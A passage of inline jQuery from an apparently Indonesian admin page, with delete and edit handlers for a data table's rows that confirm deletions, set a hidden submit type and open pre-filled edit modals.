".del-me", function(){ if(confirm("Delete This Record! Are You Sure?")){ $(this).closest("form").find("[name='type_submit']").val("delete"); $(this).closest("form").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox'][name='myid[]']").trigger("click"); $(this).closest("form").submit(); } }) $(".del-me2").on("click", function(){ if(confirm("Delete This Record! Are You Sure?")){ $(this).closest("form").find("[name='type_submit']").val("delete-"+$(this).data("typeofdg")); $(this).closest("form").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox'][name='myid2[]']").trigger("click"); $(this).closest("form").submit(); }else{ $(this).closest("form").find("[name='type_submit']").val("delete"); } }) $("#example-datatable tbody").on("click", ".edit-me", function(){ var modal_name = "."+$(this).data("modal-target"); var editdata = $(this).data("editdata"); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find("select").prop("selected",false); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $("#form-validation").setvalidation(editdata); $("#form-validation > [name='type_submit']").val("edit"); // console.log($._data($("#form-validation").get(0), "events")); }); $("#example-datatable tbody").on("click", ".edit-me2", function(){ var modal_name = "."+$(this).data("modal-target"); var form = "#"+$(modal_name).find("form").prop("id"); var editdata = $(this).data("editdata"); var typeofdg = $(this).data("typeofdg"); var val_id = $(this).data("val-id"); console.log(editdata); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find("select").prop("selected",false); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $(form).setvalidation(editdata); $(form + " > [name='type_submit']").val("edit-"+typeofdg); // console.log($._data($("#form-validation").get(0), "events")); }); }); </script> </div> </div> <!-- End Started Block -->
Simpan